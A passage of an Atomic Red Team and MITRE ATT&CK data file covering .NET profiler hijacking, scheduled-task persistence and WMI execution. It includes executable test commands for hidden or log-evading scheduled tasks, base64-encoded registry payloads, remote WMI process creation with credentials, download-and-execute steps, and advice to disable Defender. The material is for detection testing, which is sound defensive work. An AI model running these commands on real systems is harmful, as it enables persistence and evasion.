Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null cleanup_command: | Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null name: powershell elevation_required: true - name: Registry-free process scope COR_PROFILER auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817 description: | Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unamanged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | $env:COR_ENABLE_PROFILING = 1 $env:COR_PROFILER = '#{clsid_guid}' $env:COR_PROFILER_PATH = '"#{file_name}"' POWERSHELL -c 'Start-Sleep 1' cleanup_command: | $env:COR_ENABLE_PROFILING = 0 $env:COR_PROFILER = '' $env:COR_PROFILER_PATH = '' name: powershell execution: T1053.005: technique: modified: '2023-11-15T14:33:53.354Z' name: 'Scheduled Task/Job: Scheduled Task' description: "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Andrew Northern, @ex_raritas - Bryan Campbell, @bry_campbell - Zachary Abzug, @ZackDoesML - Selena Larson, @selenalarson - Sittikorn Sangrattanapitak x_mitre_deprecated: false x_mitre_detection: |- Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.5' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - Administrator x_mitre_remote_support: true type: attack-pattern id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9 created: '2019-11-27T14:58:00.429Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/005 external_id: T1053.005 - source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - source_name: Defending Against Scheduled Task Attacks in Windows Environments description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022. url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments - source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Tarrask scheduled task description: Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022. url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ - source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - source_name: SigmaHQ description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022. url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.005 atomic_tests: - name: Scheduled Task Startup Script auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2 description: | Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane. supported_platforms: - windows executor: command: | schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" cleanup_command: | schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1 name: command_prompt elevation_required: true - name: Scheduled task Local auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71 description: 'Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. ' supported_platforms: - windows input_arguments: task_command: description: What you want to execute type: string default: C:\windows\system32\cmd.exe time: description: What time 24 Hour type: string default: '20:10' executor: name: command_prompt elevation_required: false command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} ' cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1 ' - name: Scheduled task Remote auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd description: | Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint. supported_platforms: - windows input_arguments: task_command: description: What you want to execute type: string default: C:\windows\system32\cmd.exe time: description: What time 24 Hour type: string default: '20:10' target: description: Target type: string default: localhost user_name: description: 'Username to authenticate with, format: DOMAIN\User' type: string default: DOMAIN\user password: description: Password to authenticate with type: string default: At0micStrong executor: name: command_prompt elevation_required: true command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} ' cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1 ' - name: Powershell Cmdlet Scheduled Task auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd description: | Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10. supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Action = New-ScheduledTaskAction -Execute "calc.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTask -InputObject $object cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1 ' - name: Task Scheduler via VBA auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3 description: | This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n" name: powershell cleanup_command: 'Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false ' - name: WMI Invoke-CimMethod Scheduled Task auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b description: 'Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes. ' supported_platforms: - windows input_arguments: xml_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{xml_path}) ' prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml" -OutFile "#{xml_path}" executor: name: powershell elevation_required: true command: | $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; } cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1 ' - name: Scheduled Task Executing Base64 Encoded Commands From Registry auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba description: "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n" supported_platforms: - windows input_arguments: time: description: Daily scheduled task execution time type: string default: '07:45' executor: command: | reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time} cleanup_command: | schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1 reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1 name: command_prompt - name: Import XML Schedule Task with Hidden Attribute auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4 description: "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n" supported_platforms: - windows input_arguments: xml_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{xml_path}) ' prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml" -OutFile "#{xml_path}" executor: name: powershell elevation_required: true command: | $xml = [System.IO.File]::ReadAllText("#{xml_path}") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; } cleanup_command: 'Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1 ' - name: PowerShell Modify A Scheduled Task auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d description: "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n" supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Action = New-ScheduledTaskAction -Execute "cmd.exe" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTaskModifed -InputObject $object $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe" Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1 ' - name: Scheduled Task ("Ghost Task") via Registry Key Manipulation auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54 description: | Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means. This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command. For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78). supported_platforms: - windows input_arguments: task_name: description: Name of the newly-added task type: string default: lilghostie task_command: description: Command you want the task to execute type: string default: notepad.exe target: description: System where the task should run type: string default: localhost user_name: description: Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin type: string default: "$env:USERDOMAIN + '\\' + $env:USERNAME" dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force - description: 'GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"` ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" executor: name: command_prompt elevation_required: true command: | "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon cleanup_command: |- "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe" "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul T1047: technique: modified: '2024-04-11T18:13:25.130Z' name: Windows Management Instrumentation description: |- Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - "@ionstorm" - Olaf Hartong, Falcon Force - Tristan Madani x_mitre_deprecated: false x_mitre_detection: 'Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.5' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'WMI: WMI Creation' - 'Command: Command Execution' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 created: '2017-05-31T21:30:44.329Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1047 external_id: T1047 - source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - source_name: Mandiant WMI description: Mandiant. (n.d.). Retrieved February 13, 2024. url: https://www.mandiant.com/resources/reports - source_name: WMI 6 description: Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024. url: https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/ - source_name: WMI 1-3 description: Microsoft. (2023, March 7). Retrieved February 13, 2024. url: https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN - source_name: WMI 7,8 description: Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024. url: https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1047 atomic_tests: - name: WMI Reconnaissance Users auto_generated_guid: c107778c-dcf5-47c5-af2e-1d058a3df3ea description: "An adversary might use WMI to list all local User Accounts. \nWhen the test completes , there should be local user accounts information displayed on the command line.\n" supported_platforms: - windows executor: command: 'wmic useraccount get /ALL /format:csv ' name: command_prompt - name: WMI Reconnaissance Processes auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2 description: | An adversary might use WMI to list Processes running on the compromised host. When the test completes , there should be running processes listed on the command line. supported_platforms: - windows executor: command: 'wmic process get caption,executablepath,commandline /format:csv ' name: command_prompt - name: WMI Reconnaissance Software auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414 description: | An adversary might use WMI to list installed Software hotfix and patches. When the test completes, there should be a list of installed patches and when they were installed. supported_platforms: - windows executor: command: 'wmic qfe get description,installedOn /format:csv ' name: command_prompt - name: WMI Reconnaissance List Remote Services auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3 description: "An adversary might use WMI to check if a certain Remote Service is running on a remote device. \nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" \nif the provided remote host is unreachable\n" supported_platforms: - windows input_arguments: node: description: Ip Address type: string default: 127.0.0.1 service_search_string: description: Name Of Service type: string default: Spooler executor: command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string}%") ' name: command_prompt - name: WMI Execute Local Process auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3 description: | This test uses wmic.exe to execute a process on the local host. When the test completes , a new process will be started locally .A notepad application will be started when input is left on default. supported_platforms: - windows input_arguments: process_to_execute: description: Name or path of process to execute. type: string default: notepad.exe executor: command: 'wmic process call create #{process_to_execute} ' cleanup_command: 'wmic process where name=''#{process_to_execute}'' delete >nul 2>&1 ' name: command_prompt - name: WMI Execute Remote Process auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b description: | This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter. To clean up, provide the same node input as the one provided to run the test A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable supported_platforms: - windows input_arguments: node: description: Ip Address type: string default: 127.0.0.1 user_name: description: Username type: string default: DOMAIN\Administrator password: description: Password type: string default: P@ssw0rd1 process_to_execute: description: Name or path of process to execute. type: string default: notepad.exe executor: command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute} ' cleanup_command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name=''#{process_to_execute}'' delete >nul 2>&1 ' name: command_prompt - name: Create a Process using WMI Query and an Encoded Command auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c description: | Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand Powershell -nop -exec bypass -EncodedCommand Where the –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe You should expect to see notepad.exe running after execution of this test. [Solarigate Analysis from Microsoft](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/) supported_platforms: - windows executor: command: 'powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA ' name: command_prompt - name: Create a Process using obfuscated Win32_Process auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43 description: | This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic. [Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32) supported_platforms: - windows input_arguments: new_class: description: Derived class name type: string default: Win32_Atomic process_to_execute: description: Name or path of process to execute. type: string default: notepad.exe executor: name: powershell elevation_required: true command: | $Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process")) $NewClass = $Class.Derive("#{new_class}") $NewClass.Put() Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute} cleanup_command: | $CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}")) try { $CleanupClass.Delete() } catch {} - name: WMI Execute rundll32 auto_generated_guid: '00738d2a-4651-4d76-adf2-c43a41dfb243' description: 'This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter. ' supported_platforms: - windows input_arguments: node: description: Ip Address type: string default: 127.0.0.1 dll_to_execute: description: Path to DLL. type: string default: PathToAtomicsFolder\..\ExternalPayloads\calc.dll function_to_execute: description: Name of DLL function to call type: string default: StartW dependency_executor_name: powershell dependencies: - description: DLL with function to execute must exist on disk at specified location (#{dll_to_execute}) prereq_command: 'if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}" executor: command: 'wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}" ' cleanup_command: taskkill /f /im calculator.exe name: command_prompt - name: Application uninstall using WMIC auto_generated_guid: c510d25b-1667-467d-8331-a56d3e9bc4ff description: Emulates uninstalling applications using WMIC. This method only 